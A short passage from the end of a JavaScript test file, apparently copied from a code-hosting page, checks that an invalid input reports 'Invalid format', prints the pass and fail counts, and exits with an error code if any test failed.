||||
assert.ok(invalid.stderr.includes('Invalid format'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\nPassed: ${passed}`);
|
||||
console.log(`Failed: ${failed}`);
|
||||
|
||||
if (failed > 0) {
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
if (require.main === module) {
|
||||
runTests();
|
||||
}
|
||||
Reference in New Issue
Block a user